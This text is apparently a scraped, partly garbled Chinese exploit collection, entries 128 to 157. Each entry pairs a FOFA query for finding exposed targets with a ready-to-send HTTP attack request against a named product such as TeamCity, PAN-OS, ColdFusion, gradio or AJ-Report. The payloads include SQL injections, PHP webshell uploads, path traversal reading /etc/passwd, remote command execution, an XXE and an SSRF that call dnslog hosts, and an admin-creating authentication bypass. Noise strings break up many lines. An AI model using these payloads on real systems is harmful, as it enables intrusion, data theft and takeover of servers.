) v( O# c! C: |/ S8 o. DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
" w* [6 j- O9 Q, c* P! Y' g0 KAccept-Language: zh-CN,zh;q=0.9
- d9 P1 A" v" e* j" N" J) DConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
( I& w, e6 O( b2 R' |$ P
BIM
2 f3 v0 ]# F, L: U! B------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
1 J3 S/ s  n2 W! gContent-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
# I9 a' m1 {2 d# L5 c<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
4 I0 n& _$ S$ j" W]
2 |6 u) \% U$ F: E1 g>
<test>&t;</test>
6 q+ Z: i) d4 Y0 J* ]# s------WebKitFormBoundaryJGgV5l5ta05yAIe0--



  [# V7 a& _6 I$ [128. Adobe ColdFusion 反序列化
5 [; E* t7 c: Q6 J9 g& l6 iCVE-2023-38203
7 l8 i( J) _6 p" Y' \, kAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD

8 \$ {4 a0 D) _129. Adobe ColdFusion 任意文件读取
- \0 c$ c+ z4 p! c) t/ h' @CVE-2024-20767
2 E4 Y; {; J- e5 GFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
; |. r4 [7 N5 e5 VGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
- k. D' b  Q4 yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
0 @9 ]! u/ j  t7 N% TAccept: */*
4 K  [2 R4 u9 R' \8 @( N; W3 ?Accept-Encoding: gzip, deflate
& x! S9 u; Q( ^7 H! b" e$ ?Connection: close
6 R# v: x/ \( u: h7 ~! V
' l, A: B" k, N# w5 \# B  G7 y* i
第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
; h# l' ^! u! u: `0 tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 i1 \; D; t# jAccept: */*
" T% @2 ~! H8 L7 j, PAccept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9


130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
' _6 w, v0 Y. i1 _  vAccept-Encoding: gzip, deflate
! c* E+ h# X( E7 F& f, T' [4 JAccept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
( l3 Y  q- S& F+ E) |" r% ^; `Connection: close
9 a7 M% _0 d$ Y' N" Q6 ~
------WebKitFormBoundary3OCVBiwBVsNuB2kR
" v! x+ M. A+ j5 t' ?& }$ |# VContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
2 P" ]3 q/ L& e# E: h
! A  z. g0 ^1 w' F* M: f8 Q- ]<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
( e6 u8 Z" O+ }" {
$ E$ q% z/ v- F# c' f7 m; v) k
131. Mini-Tmall <=20231017 SQL注入
' {  B6 @  D! CFOFA：icon_hash="-2087517259"
% T1 e; \: [" T, e: h6 B4 C) R后台地址：http://localhost:8080/tmall/admin
8 T. K# w9 l) |; M/ T+ G4 X- ohttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
* {3 `& s( j6 s; n5 V, j* @! w
/ ]! V+ G, A5 C132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
- g, A7 I  Q& L# M  s. T- ~POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
( z) E4 p2 w7 b8 Q& xHost: 192.168.40.130:8111
& [% m1 [: A. a6 w0 j* m3 A# z: qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate
" x# ?4 u1 k/ I* n8 W3 ?
{"username": "用户名", "password": "密码", "email": "[email protected]", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
! q6 I5 k0 {4 _% J+ p- Q6 i/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp


, S6 H3 M# E8 v. F  l$ T- lCVE-2024-27198-RCE.py
$ l1 v9 u9 [: b$ V4 t/ M: g4 v
" e! u7 ~7 Z; ^. R. G0 v# `133. H5 云商城 file.php 文件上传
8 [5 S0 P7 m/ T4 F% aFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
) E, H5 J( u9 g0 d- NHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

2 F5 }# a  U/ }, s<?php system("cat /etc/passwd");unlink(__FILE__);?>
2 t# t& C+ I7 ~------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
$ {9 T" Q! z+ z. t- i( P

5 G+ D9 u* }: c* q) b) U# e# M1 F, A
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
* Z4 m9 `5 k/ ?4 w' ^5 u* dNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
: i1 R7 n) s2 a  v9 A8 N0 ^Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
5 I& w8 z# m* Q% }2 PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
, z6 L  H  W/ e% kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& ]1 Y+ H1 Z% m3 o' f# \' ^Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
0 ^9 r0 M6 {$ b4 PSec-Fetch-Site: same-origin
Te: trailers
! k7 H+ C+ y4 G7 k; a/ q0 Y1 oConnection: close
6 f' m0 E) I9 \  ^Content-Type: application/x-www-form-urlencoded
; ~" ^) J: c1 _5 oContent-Length: 263

( \/ n$ f8 E" I$ x6 S+ \. kjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

1 S; g* G7 s# J& O+ W" p- l5 Y$ i
( V7 T0 t5 B- c- l& f3 }- I. i% y135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
& K5 \8 I, z) L$ sCVE-2024-2022
9 f! o7 N9 ?6 u: A+ ?4 ]- ZNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
( |2 p3 t" q" QGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
( x' w/ Y) l) m5 jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
5 w2 J  F) H* |  U6 HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 [$ y9 ^/ C; X$ G7 hAccept-Encoding: gzip, deflate
+ v! I/ }. E4 K$ T3 sAccept-Language: zh-CN,zh;q=0.9
( T! o; E. v; [& ?: VConnection: close
5 a* q- W* G' c( U8 l
* j& t8 ], D$ ^
136. NextChat cors SSRF
( c& c! A3 n1 KCVE-2023-49785
7 Y( ~9 k# |0 h+ v+ yFOFA：title="NextChat"
) P; e4 |/ F+ B9 t0 n/ C( ]" t/ @. DGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
. o' q. D8 l+ n/ X# z( BAccept-Language: en
Accept-Encoding: gzip
8 w& ~% @8 x: z, E  N5 c! p, w- f

137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
. f" h3 z% ~+ w( i; dFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
5 E! @: R2 z; K1 hGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
3 y4 g, S" `8 F; [# C% y) K& EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ v8 l" U, Y4 q) P3 lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: {8 [8 D! B; F, i- \8 JAccept-Encoding: gzip, deflate, br
Connection: close
: R% c0 i4 c  JCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
& t  T3 g8 t$ ]4 v6 N

138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
( o' F5 m$ V- U- mFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
; `( a2 N( `1 A$ o/ T6 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 O( X' l) f: K5 Z4 {2 |: XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; S: }9 X( r! V4 o# rAccept-Encoding: gzip, deflate, br
. m2 q' j. h& n- ^( P6 ]Connection: close
Upgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
% U7 H- L$ c2 |# F, _FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
( q# C. k0 m4 s  w7 ^7 M+ o' wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- l/ Q2 r( I( u* SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 }: Y, U9 s) J! [/ XAccept-Encoding: gzip, deflate, br
' p- Q. Y3 {2 fConnection: close
- H2 S4 ]8 m* {; J* w9 a/ KCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
) O8 s% B& I. c, Y* EUpgrade-Insecure-Requests: 1
$ J0 }2 ?! k/ b4 M  V5 Z, w

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
7 h) Z9 v4 X1 D  y. X- z% IGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
' c' |3 M+ H& Y: I( t/ F9 PHost: x.x.x.x
# Q. j! g( v/ A, Y+ o/ H8 C* BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
  j0 z; F6 e- f! ^/ H# V

' I) \* u! N0 w141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
6 U4 w, a8 ~0 |& F* P; o. u$ fHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
" ]; W3 m% p7 j! xContent-Type: application/x-www-form-urlencoded


3 U( @" C  o9 Kdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


% z7 g" I4 S0 Q2 H3 ?142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
% g$ K$ E. D  o* Z; ^FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
2 d4 v9 Y7 v& w6 y8 b8 @9 w& c% cCVE-2024-25850
FOFA：title='AP setup' && header='netis'
, h9 u# z; z/ s7 HPAYLOAD
1 E; H3 k' L- P3 t1 p  Z
144. D-Link nas_sharing.cgi 命令注入
9 K. o1 E, V7 i. Y9 ~: BFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
: `# S+ e) i  n0 [" Q, \# CGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
* u2 p, M, h/ R4 T" c2 j7 zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
2 @7 }2 }' b- l9 U  B1 a+ c2 a- QFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
! {2 f1 D5 T  c. @& E: I  {Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
+ i$ a* m8 ]* p. N1 gAccept-Encoding: gzip

3 j! O0 F- K0 n+ s! ~/ h' V; I
- c# o% q7 V8 @* g" j) ]' {* q146. MajorDoMo thumb.php 未授权远程代码执行
! F0 R$ c  s, F) O1 q5 pCNVD-2024-02175
% S; l( w$ |6 o' R2 \FOFA：app="MajordomoSL"
8 P+ ^/ q+ \' O! G' ]$ \GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
2 c: P6 j# i: n+ b1 YAccept-Encoding: gzip, deflate
Connection: close
: Q& G" \2 G- o6 E* J- |3 b, R- L
/ M* M1 W/ K# a, S6 Q% N6 x
2 k- D" j; g, F) a, _% H5 I+ `147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
/ g+ g9 v4 [3 Z: @FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
0 G0 i( o6 @4 Z7 Y" g8 @4 {$ vConnection: close

0 P' o9 s2 Z3 q5 `: q
- o1 u/ w& A2 X, F! s- N" h148. CrushFTP 认证绕过模板注入
2 e; V1 a) [) q$ J8 \/ r$ m3 i) JCVE-2024-4040
FOFA：body="CrushFTP"
) g  t5 D& D; VPAYLOAD
/ v6 N- [4 Y6 g+ r% |
149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

- X+ D) b$ g9 s3 E# _POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
; `) E% Q$ n9 V" q# L) V2 Z4 SHost: x.x.x.x
' i& o" |" S0 o! |( |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
( l+ P: b, j' N! U# R$ r+ m6 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
! C* v5 m/ o4 H) tConnection: close
& z( a7 W# M; n
4 W3 @- W- Y* B0 u4 w{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
9 a* P. e, m( N3 {9 H& D" K1 V
7 T2 V  @! ?7 A$ J: a' E. R5 s150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
) i- v6 d& P# ~/ x7 l" J5 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
( z% K  ?; @# T/ Y6 CConnection: close
Content-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
8 j9 m# ^. i6 p. B
2 Y% g" c2 g1 Q8 L2 i4 K* e9 v
( o/ O+ j, J1 }3 W0 E151. AJ-Report 1.4.1 pageList sql注入
  T  K( t; l4 V6 r7 w" G, L1 @% NFOFA：title="AJ-Report"
1 U5 N3 z% V% z/ ^5 e+ D7 J% [GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
( w( u  J+ G, @' @4 H) fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" N; a( m# y4 T  O$ Y" p% rConnection: close
" O* E9 O' h2 @, b) D! V5 IAccept-Encoding: gzip


3 J6 ]! E# j, l6 T: y8 {1 ?152. Progress Kemp LoadMaster 远程命令执行
1 r5 H/ J) o+ v" E5 rCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
' d" ^, z1 f6 g3 b8 p$ sJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
) @9 C, Z& y8 X2 b- W# IGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
% Z2 s, Z, \$ s( b- ]Connection: close
4 B4 J0 j+ E9 V7 l4 _8 t8 d1 jAccept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
3 w3 Z% F* ^8 y1 aAccept-Encoding: gzip

3 I8 \/ j% C% g3 B- Z3 X
153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config


6 e$ L; I: {, M0 u第二步，将/etc/passwd的内容写入到一个临时文件
- F4 e7 H. T; t4 z" zPOST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
6 f8 X+ ?$ k% f+ M& JContent-Type: application/json
. J# r" p+ j5 @/ kAccept-Encoding: gzip
9 {7 C9 g& H) H8 I$ d4 q% s
  A5 ~( {- y: a; b{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
7 I; D" o0 X9 M" T, g0 j

第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
" y: t' v' e4 }& I
$ D8 G0 F& a9 p# ~6 W3 z$ c' M
9 W8 T+ a6 A  W& m% u  D  M154. 天维尔消防救援作战调度平台 SQL注入
7 c5 v- O; n  zCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
( e* R6 R4 i  J6 ~Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
5 y  Z6 q( A/ ~4 O9 bContent-Type: application/json
' W: t9 P% G# F4 V4 D% P1 Z7 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! M7 I- M1 @/ K+ g& _Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
1 h/ Z/ x. @$ ?Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
) t) r4 u1 f' m- ^( u/ XConnection: close
# c+ Y2 r7 m' I3 I7 O$ {. u
; g& `9 m  s4 A. u) f* k{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
+ U8 A& a. }/ i) W; aCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
% B) H$ q- g! P+ K: P5 g6 v' v  _' h: BPOST /include/file.php HTTP/1.1
$ u( b% Y) T* r' h* c- f: KHost: x.x.x.x
- t+ I+ `7 [1 f$ W7 F7 G4 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
3 Z! q* }7 q$ S- ^* S5 nConnection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
& ?( X) E( O$ L  h' N9 wAccept-Encoding: gzip, deflate, br
3 ]7 G1 a  q  c1 C6 zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 y9 b1 g+ ?" h8 P- r( C, A, H* {Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
* k' r' l% W: K/ q4 W4 XX-Requested-With: XMLHttpRequest
$ @- i0 U3 C  P3 f2 r# v, ~. o2 @
# L; {+ C- |! q- J-----------------------------qttl7vemrsold314zg0f
0 R$ @2 ]! q6 ^, DContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

0 d- M- I+ R9 _/ x, y. r+ O
) t# w  X2 m1 o4 f2 ]访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
/ G) P; H( P2 K$ b) w  a3 l
: }7 \+ w5 Y! ]+ \$ j156. TBK DVR-4104/DVR-4216 操作系统命令注入
" E, t$ T" s( U% r3 GCVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


, c. d5 N( n, m5 Q4 }7 DPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
) O- H* ~! W/ `: M5 gHost: x.x.x.x
; D) m! S' ?( f4 U, K1 m7 E. {$ MUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
- f, L& l7 p. T: u- Z, f  pContent-Length: 0
Cookie: uid=1
% V# N3 u8 o/ D7 i/ d& t& WAccept-Encoding: gzip

+ p' h: C6 k% {. t8 k2 z8 @
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
2 R( l# w0 d. @' I# U' \FOFA：body="/common/scripts/basic.js"
5 B0 j1 ]2 h( U( m' d1 Q0 hPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
) m" v' T' s3 m: G: e! Q. `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
7 q5 F! j+ B2 G9 T& wContent-Length: 709
" I# G% Q' M: D8 r! ?( tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ {% J% A$ T8 R9 R5 NAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
: W, a/ t" r' U; S! BUpgrade-Insecure-Requests: 1

" e6 m! V6 z4 V' R, Z( w------WebKitFormBoundary1imovELzPsfzp5dN
5 _% z! ]- W+ W4 J  T9 k0 rContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
* y9 P1 ~% g3 k( J' d9 tContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
' J" F. `* {! d% e& P# a------WebKitFormBoundary1imovELzPsfzp5dN
1 _$ D2 G& D/ z1 G7 WContent-Disposition: form-data; name="key"

' `1 }/ Q, m' ?7 C  H5 ^null
------WebKitFormBoundary1imovELzPsfzp5dN
$ C2 m% a* M% e( S( uContent-Disposition: form-data; name="form"
# z* p& l. g; ~7 k4 K
null
) x0 k, f8 x8 y# P------WebKitFormBoundary1imovELzPsfzp5dN
4 R& G  _" l! [* C2 L3 }. aContent-Disposition: form-data; name="field"

4 _1 }+ J/ E* I+ Y0 X' U" gnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

null
( s+ Z( K. a2 W" g/ B% ]( c------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

7 e6 P: e- \! p& k' V% _' nnull
